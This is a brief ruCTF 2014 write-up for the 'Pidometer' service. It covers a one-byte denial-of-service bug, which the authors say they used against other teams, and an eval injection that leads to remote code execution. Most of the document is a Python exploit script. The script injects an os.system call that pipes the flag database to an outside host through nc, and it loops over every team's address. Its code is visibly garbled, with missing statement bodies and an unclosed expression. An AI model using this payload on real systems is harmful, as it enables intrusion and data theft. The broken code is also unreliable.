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ruCTF 2014(Pidometer) writeup

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The server application was divided into two parts, a c-file (network.c) and a few python function encapsulated in server. The first obvious error in the c-code was that the parameter-parsing was broken and the service could be brought down (DOS) simply by sending a one byte message containing ' '. In the first half of the CTF this was used to defect other teams services, meaning that no other team could score flags or submit flags. This was later on changed, after we had a working exploit. The python function pp was using an aliased eval, which could be triggered by sending more than 34 characters. This lead to arbitrary code execution and a fully compromised machine, e.g. through a backconnect shell. The function pp was called when walking the 'add' path in the c-file. For gathering flags, one could just use 'strings /opt/db.rdb' and pipe it over a nc connection to a flag submit service, as the flags are stored in the redis database. An exploit could look like this:
#!/usr/bin/env python2
import socket
import sys

def read_until(s, token):
    data = ""
    while True:
        tmp = s.recv(4096)
        print tmp
        if not tmp:
        data += tmp
        if token in data:

def backdoorinject(target):
    s = socket.socket()
    s.connect((target, 27))

    read_until(s, "maths!")

    shellcmd = r"strings\x20/opt/db.rdb\x20|\x20nc\x20$IP$\x20$PORT$"
    payload = (
        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa__import__('os').system('%s')" % shellcmd
    s.sendall("add user " + payload + "\n")
    print s.recv(4096)


targets = range(1, 254)
for i in targets:
    if i == 41:  ##own ip
        hostname = "10.60." + str(i) + ".7"  # The remote host
        print hostname,
        print " send"
        print "...failed"

hzgf. am 21. Dezember 2014